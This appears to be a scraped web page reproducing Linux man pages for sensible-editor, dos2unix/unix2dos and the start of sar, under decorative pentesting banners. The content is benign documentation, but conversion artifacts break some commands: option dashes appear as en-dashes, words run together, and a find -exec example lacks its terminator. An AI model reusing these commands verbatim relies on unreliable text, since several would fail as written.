–no-doc-title
Disable the promotion of a lone top-level section title to document title (and subsequent section title to document subtitle promotion; enabled by default).

–no-doc-info
Disable the bibliographic field list transform (enabled by default).

–section-subtitles
Activate the promotion of lone subsection titles to section subtitles (disabled by default).

–no-section-subtitles
Deactivate the promotion of lone subsection titles.

“Docutils pseudo-XML” Writer Options

–detailed
Pretty-print <#text> nodes.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

562 - Linux cli command sensible-editor

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sensible-editor and provides detailed information about the command sensible-editor, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sensible-editor.

NAME 🖥️ sensible-editor 🖥️

editor - launch sensibly chosen text editor

SYNOPSIS

sensible-editor [OPTIONS…]

DESCRIPTION

sensible-editor"makessensibledecisionsonwhicheditortocall. Programs in Debian can invoke this script to get a good default editor.

sensible-editor looks for an appropriate choice of editor in a series of places, and uses the first candidate that works. It starts by checking environment variables, followed by a variable defined via select-editor, then tries the default editor command defined by the alternatives system, with a series of hard-coded command names as fallbacks.

Variables will be skipped if unset or null, but may include extra whitespace-separated parameters such as a –verbose flag. Once sensible-editor has a candidate commandline, it will try to run it (passing on the arguments it was given as the files to be edited). If this fails because the command couldn’t be executed (exit code 126) or was not found (exit code 127), it tries the next candidate.

The specific candidates sensible-editor tries, in order, are:

  • $VISUAL – see environ(7)

  • $EDITOR – see environ(7)

  • $SENSIBLE_EDITOR

  • $SELECTED_EDITOR – see select-editor(1)

  • editor – see editor(1), update-alternatives(1)

  • nano(1)

  • nano-tiny(1)

  • vi(1)

If all of these fail, sensible-editor errors out. This system is designed to make it easy for individual users to set a personal and/or temporary default, overriding the system-wide defaults.

SEE ALSO

sensible-browser(1), sensible-pager(1), select-editor(1), environ(7), editor(1), update-alternatives(1)

CONFORMING TO

The behavior of sensible-utils under a Debian system is documented in section 11.4 of Debian-Policy, available under /usr/share/doc/debian-policy if debian-policy is installed, or online at https://www.debian.org/doc/debian-policy/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

563 - Linux cli command unix2dos

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command unix2dos and provides detailed information about the command unix2dos, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the unix2dos.

NAME 🖥️ unix2dos 🖥️

DOS/Mac to Unix and vice versa text file format converter

SYNOPSIS

dos2unix [options] [FILE …] [-n INFILE OUTFILE …] unix2dos [options] [FILE …] [-n INFILE OUTFILE …]

DESCRIPTION

The Dos2unix package includes utilities dos2unix and unix2dos to convert plain text files in DOS or Mac format to Unix format and vice versa.

In DOS/Windows text files a line break, also known as newline, is a combination of two characters: a Carriage Return (CR) followed by a Line Feed (LF). In Unix text files a line break is a single character: the Line Feed (LF). In Mac text files, prior to Mac OS X, a line break was single Carriage Return (CR) character. Nowadays Mac OS uses Unix style (LF) line breaks.

Besides line breaks Dos2unix can also convert the encoding of files. A few DOS code pages can be converted to Unix Latin-1. And Windows Unicode (UTF-16) files can be converted to Unix Unicode (UTF-8) files.

Binary files are automatically skipped, unless conversion is forced.

Non-regular files, such as directories and FIFOs, are automatically skipped.

Symbolic links and their targets are by default kept untouched. Symbolic links can optionally be replaced, or the output can be written to the symbolic link target. Writing to a symbolic link target is not supported on Windows.

Dos2unix was modelled after dos2unix under SunOS/Solaris. There is one important difference with the original SunOS/Solaris version. This version does by default in-place conversion (old file mode), while the original SunOS/Solaris version only supports paired conversion (new file mode). See also options -o and -n. Another difference is that the SunOS/Solaris version uses by default iso mode conversion while this version uses by default ascii mode conversion.

OPTIONS


Treat all following options as file names. Use this option if you want to convert files whose names start with a dash. For instance to convert a file named “-foo”, you can use this command: dos2unix – -foo Or in new file mode: dos2unix -n – -foo out.txt

–allow-chown
Allow file ownership change in old file mode. When this option is used, the conversion will not be aborted when the user and/or group ownership of the original file can’t be preserved in old file mode. Conversion will continue and the converted file will get the same new ownership as if it was converted in new file mode. See also options -o and -n. This option is only available if dos2unix has support for preserving the user and group ownership of files.

-ascii
Default conversion mode. See also section CONVERSION MODES.

-iso
Conversion between DOS and ISO-8859-1 character set. See also section CONVERSION MODES.

-1252
Use Windows code page 1252 (Western European).

-437
Use DOS code page 437 (US). This is the default code page used for ISO conversion.

-850
Use DOS code page 850 (Western European).

-860
Use DOS code page 860 (Portuguese).

-863
Use DOS code page 863 (French Canadian).

-865
Use DOS code page 865 (Nordic).

-7
Convert 8 bit characters to 7 bit space.

-b, –keep-bom
Keep Byte Order Mark (BOM). When the input file has a BOM, write a BOM in the output file. This is the default behavior when converting to DOS line breaks. See also option -r.

-c, –convmode CONVMODE
Set conversion mode. Where CONVMODE is one of: ascii, 7bit, iso, mac with ascii being the default.

-D, –display-enc ENCODING
Set encoding of displayed text. Where ENCODING is one of: ansi, unicode, unicodebom, utf8, utf8bom with ansi being the default. This option is only available in dos2unix for Windows with Unicode file name support. This option has no effect on the actual file names read and written, only on how they are displayed. There are several methods for displaying text in a Windows console based on the encoding of the text. They all have their own advantages and disadvantages.

ansi
Dos2unix’s default method is to use ANSI encoded text. The advantage is that it is backwards compatible. It works with raster and TrueType fonts. In some regions you may need to change the active DOS OEM code page to the Windows system ANSI code page using the chcp command, because dos2unix uses the Windows system code page. The disadvantage of ansi is that international file names with characters not inside the system default code page are not displayed properly. You will see a question mark, or a wrong symbol instead. When you don’t work with foreign file names this method is OK.

unicode, unicodebom
The advantage of unicode (the Windows name for UTF-16) encoding is that text is usually properly displayed. There is no need to change the active code page. You may need to set the console’s font to a TrueType font to have international characters displayed properly. When a character is not included in the TrueType font you usually see a small square, sometimes with a question mark in it. When you use the ConEmu console all text is displayed properly, because ConEmu automatically selects a good font. The disadvantage of unicode is that it is not compatible with ASCII. The output is not easy to handle when you redirect it to another program. When method unicodebom is used the Unicode text will be preceded with a BOM (Byte Order Mark). A BOM is required for correct redirection or piping in PowerShell.

utf8, utf8bom
The advantage of utf8 is that it is compatible with ASCII. You need to set the console’s font to a TrueType font. With a TrueType font the text is displayed similar as with the unicode encoding. The disadvantage is that when you use the default raster font all non-ASCII characters are displayed wrong. Not only unicode file names, but also translated messages become unreadable. On Windows configured for an East-Asian region you may see a lot of flickering of the console when the messages are displayed. In a ConEmu console the utf8 encoding method works well. When method utf8bom is used the UTF-8 text will be preceded with a BOM (Byte Order Mark). A BOM is required for correct redirection or piping in PowerShell.

The default encoding can be changed with environment variable DOS2UNIX_DISPLAY_ENC by setting it to unicode, unicodebom, utf8, or utf8bom.

-e, –add-eol
Add a line break to the last line if there isn’t one. This works for every conversion. A file converted from DOS to Unix format may lack a line break on the last line. There are text editors that write text files without a line break on the last line. Some Unix programs have problems processing these files, because the POSIX standard defines that every line in a text file must end with a terminating newline character. For instance concatenating files may not give the expected result.

-f, –force
Force conversion of binary files.

-gb, –gb18030
On Windows UTF-16 files are by default converted to UTF-8, regardless of the locale setting. Use this option to convert UTF-16 files to GB18030. This option is only available on Windows. See also section GB18030.

-h, –help
Display help and exit.

-i[FLAGS], –info[=FLAGS] FILE …
Display file information. No conversion is done. The following information is printed, in this order: number of DOS line breaks, number of Unix line breaks, number of Mac line breaks, byte order mark, text or binary, file name. Example output: 6 0 0 no_bom text dos.txt 0 6 0 no_bom text unix.txt 0 0 6 no_bom text mac.txt 6 6 6 no_bom text mixed.txt 50 0 0 UTF-16LE text utf16le.txt 0 50 0 no_bom text utf8unix.txt 50 0 0 UTF-8 text utf8dos.txt 2 418 219 no_bom binary dos2unix.exe Note that sometimes a binary file can be mistaken for a text file. See also option -s. If in addition option -e or --add-eol is used also the type of the line break of the last line is printed, or noeol if there is none. Example output: 6 0 0 no_bom text dos dos.txt 0 6 0 no_bom text unix unix.txt 0 0 6 no_bom text mac mac.txt 1 0 0 no_bom text noeol noeol_dos.txt Optionally extra flags can be set to change the output. One or more flags can be added.

  1. Print the file information lines followed by a null character instead of a newline character. This enables correct interpretation of file names with spaces or quotes when flag c is used. Use this flag in combination with xargs (1) option -0 or --null.

  2. Print number of DOS line breaks.

  3. Print number of Unix line breaks.

  4. Print number of Mac line breaks.

  5. Print the byte order mark.

  6. Print if file is text or binary.

  7. Print the type of the line break of the last line, or noeol if there is none.

  8. Print only the files that would be converted. With the c flag dos2unix will print only the files that contain DOS line breaks, unix2dos will print only file names that have Unix line breaks. If in addition option -e or --add-eol is used also the files that lack a line break on the last line will be printed.

  9. Print a header.

  10. Show file names without path.

Examples: Show information for all *.txt files: dos2unix -i *.txt Show only the number of DOS line breaks and Unix line breaks: dos2unix -idu *.txt Show only the byte order mark: dos2unix –info=b *.txt List the files that have DOS line breaks: dos2unix -ic *.txt List the files that have Unix line breaks: unix2dos -ic *.txt List the files that have DOS line breaks or lack a line break on the last line: dos2unix -e -ic *.txt Convert only files that have DOS line breaks and leave the other files untouched: dos2unix -ic0 *.txt | xargs -0 dos2unix Find text files that have DOS line breaks: find -name *.txt -print0 | xargs -0 dos2unix -ic

-k, –keepdate
Keep the date stamp of output file same as input file.

-L, –license
Display program’s license.

-l, –newline
Add additional newline. dos2unix: Only DOS line breaks are changed to two Unix line breaks. In Mac mode only Mac line breaks are changed to two Unix line breaks. unix2dos: Only Unix line breaks are changed to two DOS line breaks. In Mac mode Unix line breaks are changed to two Mac line breaks.

-m, –add-bom
Write a Byte Order Mark (BOM) in the output file. By default an UTF-8 BOM is written. When the input file is UTF-16, and the option -u is used, an UTF-16 BOM will be written. Never use this option when the output encoding is other than UTF-8, UTF-16, or GB18030. See also section UNICODE.

-n, –newfile INFILE OUTFILE …
New file mode. Convert file INFILE and write output to file OUTFILE. File names must be given in pairs and wildcard names should not be used or you will lose your files. The person who starts the conversion in new file (paired) mode will be the owner of the converted file. The read/write permissions of the new file will be the permissions of the original file minus the umask (1) of the person who runs the conversion.

–no-allow-chown
Don’t allow file ownership change in old file mode (default). Abort conversion when the user and/or group ownership of the original file can’t be preserved in old file mode. See also options -o and -n. This option is only available if dos2unix has support for preserving the user and group ownership of files.

–no-add-eol
Do not add a line break to the last line if there isn’t one.

-O, –to-stdout
Write to standard output, like a Unix filter. Use option -o to go back to old file (in-place) mode. Combined with option -e files can be properly concatenated. No merged last and first lines, and no Unicode byte order marks in the middle of the concatenated file. Example: dos2unix -e -O file1.txt file2.txt > output.txt

-o, –oldfile FILE …
Old file mode. Convert file FILE and overwrite output to it. The program defaults to run in this mode. Wildcard names may be used. In old file (in-place) mode the converted file gets the same owner, group, and read/write permissions as the original file. Also when the file is converted by another user who has write permissions on the file (e.g. user root). The conversion will be aborted when it is not possible to preserve the original values. Change of owner could mean that the original owner is not able to read the file any more. Change of group could be a security risk, the file could be made readable for persons for whom it is not intended. Preservation of owner, group, and read/write permissions is only supported on Unix. To check if dos2unix has support for preserving the user and group ownership of files type dos2unix -V. Conversion is always done via a temporary file. When an error occurs halfway the conversion, the temporary file is deleted and the original file stays intact. When the conversion is successful, the original file is replaced with the temporary file. You may have write permission on the original file, but no permission to put the same user and/or group ownership properties on the temporary file as the original file has. This means you are not able to preserve the user and/or group ownership of the original file. In this case you can use option --allow-chown to continue with the conversion: dos2unix –allow-chown foo.txt Another option is to use new file mode: dos2unix -n foo.txt foo.txt The advantage of the --allow-chown option is that you can use wildcards, and the ownership properties will be preserved when possible.

-q, –quiet
Quiet mode. Suppress all warnings and messages. The return value is zero. Except when wrong command-line options are used.

-r, –remove-bom
Remove Byte Order Mark (BOM). Do not write a BOM in the output file. This is the default behavior when converting to Unix line breaks. See also option -b.

-s, –safe
Skip binary files (default). The skipping of binary files is done to avoid accidental mistakes. Be aware that the detection of binary files is not 100% foolproof. Input files are scanned for binary symbols which are typically not found in text files. It is possible that a binary file contains only normal text characters. Such a binary file will mistakenly be seen as a text file.

-u, –keep-utf16
Keep the original UTF-16 encoding of the input file. The output file will be written in the same UTF-16 encoding, little or big endian, as the input file. This prevents transformation to UTF-8. An UTF-16 BOM will be written accordingly. This option can be disabled with the -ascii option.

-ul, –assume-utf16le
Assume that the input file format is UTF-16LE. When there is a Byte Order Mark in the input file the BOM has priority over this option. When you made a wrong assumption (the input file was not in UTF-16LE format) and the conversion succeeded, you will get an UTF-8 output file with wrong text. You can undo the wrong conversion with iconv (1) by converting the UTF-8 output file back to UTF-16LE. This will bring back the original file. The assumption of UTF-16LE works as a conversion mode. By switching to the default ascii mode the UTF-16LE assumption is turned off.

-ub, –assume-utf16be
Assume that the input file format is UTF-16BE. This option works the same as option -ul.

-v, –verbose
Display verbose messages. Extra information is displayed about Byte Order Marks and the amount of converted line breaks.

-F, –follow-symlink
Follow symbolic links and convert the targets.

-R, –replace-symlink
Replace symbolic links with converted files (original target files remain unchanged).

-S, –skip-symlink
Keep symbolic links and targets unchanged (default).

-V, –version
Display version information and exit.

MAC MODE

By default line breaks are converted from DOS to Unix and vice versa. Mac line breaks are not converted.

In Mac mode line breaks are converted from Mac to Unix and vice versa. DOS line breaks are not changed.

To run in Mac mode use the command-line option -c mac or use the commands mac2unix or unix2mac.

CONVERSION MODES

ascii
This is the default conversion mode. This mode is for converting ASCII and ASCII-compatible encoded files, like UTF-8. Enabling ascii mode disables 7bit and iso mode. If dos2unix has UTF-16 support, UTF-16 encoded files are converted to the current locale character encoding on POSIX systems and to UTF-8 on Windows. Enabling ascii mode disables the option to keep UTF-16 encoding (-u) and the options to assume UTF-16 input (-ul and -ub). To see if dos2unix has UTF-16 support type dos2unix -V. See also section UNICODE.

7bit
In this mode all 8 bit non-ASCII characters (with values from 128 to 255) are converted to a 7 bit space.

iso
Characters are converted between a DOS character set (code page) and ISO character set ISO-8859-1 (Latin-1) on Unix. DOS characters without ISO-8859-1 equivalent, for which conversion is not possible, are converted to a dot. The same counts for ISO-8859-1 characters without DOS counterpart. When only option -iso is used dos2unix will try to determine the active code page. When this is not possible dos2unix will use default code page CP437, which is mainly used in the USA. To force a specific code page use options -437 (US), -850 (Western European), -860 (Portuguese), -863 (French Canadian), or -865 (Nordic). Windows code page CP1252 (Western European) is also supported with option -1252. For other code pages use dos2unix in combination with iconv (1). Iconv can convert between a long list of character encodings. Never use ISO conversion on Unicode text files. It will corrupt UTF-8 encoded files. Some examples: Convert from DOS default code page to Unix Latin-1: dos2unix -iso -n in.txt out.txt Convert from DOS CP850 to Unix Latin-1: dos2unix -850 -n in.txt out.txt Convert from Windows CP1252 to Unix Latin-1: dos2unix -1252 -n in.txt out.txt Convert from Windows CP1252 to Unix UTF-8 (Unicode): iconv -f CP1252 -t UTF-8 in.txt | dos2unix > out.txt Convert from Unix Latin-1 to DOS default code page: unix2dos -iso -n in.txt out.txt Convert from Unix Latin-1 to DOS CP850: unix2dos -850 -n in.txt out.txt Convert from Unix Latin-1 to Windows CP1252: unix2dos -1252 -n in.txt out.txt Convert from Unix UTF-8 (Unicode) to Windows CP1252: unix2dos < in.txt | iconv -f UTF-8 -t CP1252 > out.txt See also <http://czyborra.com/charsets/codepages.html> and <http://czyborra.com/charsets/iso8859.html>.

UNICODE

Encodings

There exist different Unicode encodings. On Unix and Linux Unicode files are typically encoded in UTF-8 encoding. On Windows Unicode text files can be encoded in UTF-8, UTF-16, or UTF-16 big endian, but are mostly encoded in UTF-16 format.

Conversion

Unicode text files can have DOS, Unix or Mac line breaks, like ASCII text files.

All versions of dos2unix and unix2dos can convert UTF-8 encoded files, because UTF-8 was designed for backward compatibility with ASCII.

Dos2unix and unix2dos with Unicode UTF-16 support, can read little and big endian UTF-16 encoded text files. To see if dos2unix was built with UTF-16 support type dos2unix -V.

On Unix/Linux UTF-16 encoded files are converted to the locale character encoding. Use the locale (1) command to find out what the locale character encoding is. When conversion is not possible a conversion error will occur and the file will be skipped.

On Windows UTF-16 files are by default converted to UTF-8. UTF-8 formatted text files are well supported on both Windows and Unix/Linux.

UTF-16 and UTF-8 encoding are fully compatible, there will no text be lost in the conversion. When an UTF-16 to UTF-8 conversion error occurs, for instance when the UTF-16 input file contains an error, the file will be skipped.

When option -u is used, the output file will be written in the same UTF-16 encoding as the input file. Option -u prevents conversion to UTF-8.

Dos2unix and unix2dos have no option to convert UTF-8 files to UTF-16.

ISO and 7-bit mode conversion do not work on UTF-16 files.

Byte Order Mark

On Windows Unicode text files typically have a Byte Order Mark (BOM), because many Windows programs (including Notepad) add BOMs by default. See also <https://en.wikipedia.org/wiki/Byte_order_mark>.

On Unix Unicode files typically don’t have a BOM. It is assumed that text files are encoded in the locale character encoding.

Dos2unix can only detect if a file is in UTF-16 format if the file has a BOM. When an UTF-16 file doesn’t have a BOM, dos2unix will see the file as a binary file.

Use option -ul or -ub to convert an UTF-16 file without BOM.

Dos2unix writes by default no BOM in the output file. With option -b Dos2unix writes a BOM when the input file has a BOM.

Unix2dos writes by default a BOM in the output file when the input file has a BOM. Use option -r to remove the BOM.

Dos2unix and unix2dos write always a BOM when option -m is used.

Unicode file names on Windows

Dos2unix has optional support for reading and writing Unicode file names in the Windows Command Prompt. That means that dos2unix can open files that have characters in the name that are not part of the default system ANSI code page. To see if dos2unix for Windows was built with Unicode file name support type dos2unix -V.

There are some issues with displaying Unicode file names in a Windows console. See option -D, --display-enc. The file names may be displayed wrongly in the console, but the files will be written with the correct name.

Unicode examples

Convert from Windows UTF-16 (with BOM) to Unix UTF-8:

dos2unix -n in.txt out.txt

Convert from Windows UTF-16LE (without BOM) to Unix UTF-8:

dos2unix -ul -n in.txt out.txt

Convert from Unix UTF-8 to Windows UTF-8 with BOM:

unix2dos -m -n in.txt out.txt

Convert from Unix UTF-8 to Windows UTF-16:

unix2dos < in.txt | iconv -f UTF-8 -t UTF-16 > out.txt

GB18030

GB18030 is a Chinese government standard. A mandatory subset of the GB18030 standard is officially required for all software products sold in China. See also <https://en.wikipedia.org/wiki/GB_18030>.

GB18030 is fully compatible with Unicode, and can be considered an unicode transformation format. Like UTF-8, GB18030 is compatible with ASCII. GB18030 is also compatible with Windows code page 936, also known as GBK.

On Unix/Linux UTF-16 files are converted to GB18030 when the locale encoding is set to GB18030. Note that this will only work if the locale is supported by the system. Use command locale -a to get the list of supported locales.

On Windows you need to use option -gb to convert UTF-16 files to GB18030.

GB18030 encoded files can have a Byte Order Mark, like Unicode files.

EXAMPLES

Read input from ‘stdin’ and write output to ‘stdout’:

dos2unix < a.txt cat a.txt | dos2unix

Convert and replace a.txt. Convert and replace b.txt:

dos2unix a.txt b.txt dos2unix -o a.txt b.txt

Convert and replace a.txt in ascii conversion mode:

dos2unix a.txt

Convert and replace a.txt in ascii conversion mode, convert and replace b.txt in 7bit conversion mode:

dos2unix a.txt -c 7bit b.txt dos2unix -c ascii a.txt -c 7bit b.txt dos2unix -ascii a.txt -7 b.txt

Convert a.txt from Mac to Unix format:

dos2unix -c mac a.txt mac2unix a.txt

Convert a.txt from Unix to Mac format:

unix2dos -c mac a.txt unix2mac a.txt

Convert and replace a.txt while keeping original date stamp:

dos2unix -k a.txt dos2unix -k -o a.txt

Convert a.txt and write to e.txt:

dos2unix -n a.txt e.txt

Convert a.txt and write to e.txt, keep date stamp of e.txt same as a.txt:

dos2unix -k -n a.txt e.txt

Convert and replace a.txt, convert b.txt and write to e.txt:

dos2unix a.txt -n b.txt e.txt dos2unix -o a.txt -n b.txt e.txt

Convert c.txt and write to e.txt, convert and replace a.txt, convert and replace b.txt, convert d.txt and write to f.txt:

dos2unix -n c.txt e.txt -o a.txt b.txt -n d.txt f.txt

RECURSIVE CONVERSION

In a Unix shell the find (1) and xargs (1) commands can be used to run dos2unix recursively over all text files in a directory tree. For instance to convert all .txt files in the directory tree under the current directory type:

find . -name *.txt -print0 |xargs -0 dos2unix

The find (1) option -print0 and corresponding xargs (1) option -0 are needed when there are files with spaces or quotes in the name. Otherwise these options can be omitted. Another option is to use find (1) with the -exec option:

find . -name *.txt -exec dos2unix {} \

In a Windows Command Prompt the following command can be used:

for /R %G in (*.txt) do dos2unix “%G”

PowerShell users can use the following command in Windows PowerShell:

get-childitem -path . -filter *.txt -recurse | foreach-object {dos2unix $_.Fullname}

LOCALIZATION

LANG
The primary language is selected with the environment variable LANG. The LANG variable consists out of several parts. The first part is in small letters the language code. The second is optional and is the country code in capital letters, preceded with an underscore. There is also an optional third part: character encoding, preceded with a dot. A few examples for POSIX standard type shells: export LANG=nl Dutch export LANG=nl_NL Dutch, The Netherlands export LANG=nl_BE Dutch, Belgium export LANG=es_ES Spanish, Spain export LANG=es_MX Spanish, Mexico export LANG=en_US.iso88591 English, USA, Latin-1 encoding export LANG=en_GB.UTF-8 English, UK, UTF-8 encoding For a complete list of language and country codes see the gettext manual: <https://www.gnu.org/software/gettext/manual/html_node/Usual-Language-Codes.html> On Unix systems you can use the command locale (1) to get locale specific information.

LANGUAGE
With the LANGUAGE environment variable you can specify a priority list of languages, separated by colons. Dos2unix gives preference to LANGUAGE over LANG. For instance, first Dutch and then German: LANGUAGE=nl:de. You have to first enable localization, by setting LANG (or LC_ALL) to a value other than “C”, before you can use a language priority list through the LANGUAGE variable. See also the gettext manual: <https://www.gnu.org/software/gettext/manual/html_node/The-LANGUAGE-variable.html> If you select a language which is not available you will get the standard English messages.

DOS2UNIX_LOCALEDIR
With the environment variable DOS2UNIX_LOCALEDIR the LOCALEDIR set during compilation can be overruled. LOCALEDIR is used to find the language files. The GNU default value is /usr/local/share/locale. Option –version will display the LOCALEDIR that is used. Example (POSIX shell): export DOS2UNIX_LOCALEDIR=$HOME/share/locale

RETURN VALUE

On success, zero is returned. When a system error occurs the last system error will be returned. For other errors 1 is returned.

The return value is always zero in quiet mode, except when wrong command-line options are used.

STANDARDS

<https://en.wikipedia.org/wiki/Text_file>

<https://en.wikipedia.org/wiki/Carriage_return>

<https://en.wikipedia.org/wiki/Newline>

<https://en.wikipedia.org/wiki/Unicode>

AUTHORS

Benjamin Lin - <[email protected]>, Bernd Johannes Wuebben (mac2unix mode) - <[email protected]>, Christian Wurll (add extra newline) - <[email protected]>, Erwin Waterlander - <[email protected]> (maintainer)

Project page: <https://waterlan.home.xs4all.nl/dos2unix.html>

SourceForge page: <https://sourceforge.net/projects/dos2unix/>

SEE ALSO

file (1) find (1) iconv (1) locale (1) xargs (1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

564 - Linux cli command sar.sysstat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sar.sysstat and provides detailed information about the command sar.sysstat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sar.sysstat.

NAME 🖥️ sar.sysstat 🖥️

Collect, report, or save system activity information.

SYNOPSIS

sar [ -A ] [ -B ] [ -b ] [ -C ] [ -D ] [ -d ] [ -F [ MOUNT ] ] [ -H ] [ -h ] [ -p ] [ -r [ ALL ] ] [ -S ] [ -t ] [ -u [ ALL ] ] [ -V ] [ -v ] [ -W ] [ -w ] [ -x ] [ -y ] [ -z ] [ –dec={ 0 | 1 | 2 } ] **[ –dev=***dev_list ***] [ –fs=***fs_list ***] [ –help ] [ –human ] [ –iface=**iface_list **] [ –int=***int_list *] [ –pretty ] [ –sadc ] [ -I [ SUM | ALL ] ] [ -P { cpu_list | ALL } ] [ -m { keyword[,…] | ALL } ] [ -n { keyword[,…] | ALL } ] [ -q [ keyword[,…] | ALL ] ] [ -j { SID | ID | LABEL | PATH | UUID | … } ] **[ -f [ ***filename ***] | -o [ ***filename *] | -[0-9]+ ] **[ -i ***interval ***] [ -s [ ***start_time * **] ] [ -e [ ***end_time ***] ] ] [ ***interval ***[ ***count *] ]

DESCRIPTION

The sar command writes to standard output the contents of selected cumulative activity counters in the operating system. The accounting system, based on the values in the *count *and interval parameters, writes information the specified number of times spaced at the specified intervals in seconds. If the *interval *parameter is set to zero, the sar command displays the average statistics for the time since the system was started. If the *interval *parameter is specified without the count parameter, then reports are generated continuously. The collected data can also be saved in the file specified by the **-o **filename flag, in addition to being displayed onto the screen. If *filename *is omitted, sar uses the standard system activity daily data file (see below). By default all the data available from the kernel are saved in the data file.

The sar command extracts and writes to standard output records previously saved in a file. This file can be either the one specified by the -f flag or, by default, the standard system activity daily data file. It is also possible to enter -1, **-2 **etc. as an argument to sar to display data of that days ago. For example, **-1 **will point at the standard system activity file of yesterday.

Standard system activity daily data files are named *saDD *or saYYYYMMDD, where *YYYY *stands for the current year, *MM *for the current month and DD for the current day. They are the default files used by sar only when no filename has been explicitly specified. When used to write data to files (with its option -o), sar will use saYYYYMMDD if option -D has also been specified, else it will use saDD. When used to display the records previously saved in a file, sar will look for the most recent of *saDD *and saYYYYMMDD, and use it.

Standard system activity daily data files are located in the /var/log/sysstat directory by default. Yet it is possible to specify an alternate location for them: If a directory (instead of a plain file) is used with options **-f **or -o then it will be considered as the directory containing the data files.

Without the **-P **flag, the sar command reports system-wide (global among all processors) statistics, which are calculated as averages for values expressed as percentages, and as sums otherwise. If the **-P **flag is given, the sar command reports activity which relates to the specified processor or processors. If **-P ALL **is given, the sar command reports statistics for each individual processor and global statistics among all processors. Offline processors are not displayed.

You can select information about specific system activities using flags. Not specifying any flags selects only CPU activity. Specifying the -A flag selects all possible activities.

The default version of the sar command (CPU utilization report) might be one of the first facilities the user runs to begin system activity investigation, because it monitors major system resources. If CPU utilization is near 100 percent (user + nice + system), the workload sampled is CPU-bound.

If multiple samples and multiple reports are desired, it is convenient to specify an output file for the **sar **command. Run the sar command as a background process. The syntax for this is:

**sar -o ***datafile interval count *>/dev/null 2>&1 &

All data are captured in binary form and saved to a file (datafile). The data can then be selectively displayed with the **sar **command using the **-f **option. Set the *interval *and *count *parameters to select *count *records at interval second intervals. If the count parameter is not set, all the records saved in the file will be selected. Collection of data in this manner is useful to characterize system usage over a period of time and determine peak usage hours.

Note: The sar command only reports on local activities.

OPTIONS

-A
This is equivalent to specifying -bBdFHISvwWy -m ALL -n ALL -q ALL -r ALL -u ALL. This option also implies specifying -I ALL -P ALL unless these options are explicitly set on the command line.

-B
Report paging statistics. The following values are displayed:

pgpgin/s
Total number of kilobytes the system paged in from disk per second.

pgpgout/s
Total number of kilobytes the system paged out to disk per second.

fault/s
Number of page faults (major + minor) made by the system per second. This is not a count of page faults that generate I/O, because some page faults can be resolved without I/O.

majflt/s
Number of major faults the system has made per second, those which have required loading a memory page from disk.

pgfree/s
Number of pages placed on the free list by the system per second.

pgscank/s
Number of pages scanned by the kswapd daemon per second.

pgscand/s
Number of pages scanned directly per second.

pgsteal/s
Number of pages the system has reclaimed from cache (pagecache and swapcache) per second to satisfy its memory demands.

pgprom/s
Number of pages promoted (i.e. migrated from slow to fast memory types) by the system per second.

pgdem/s
Number of pages demoted (i.e. migrated from fast to slow memory types) by the system per second.

-b
Report I/O and transfer rate statistics. The following values are displayed:

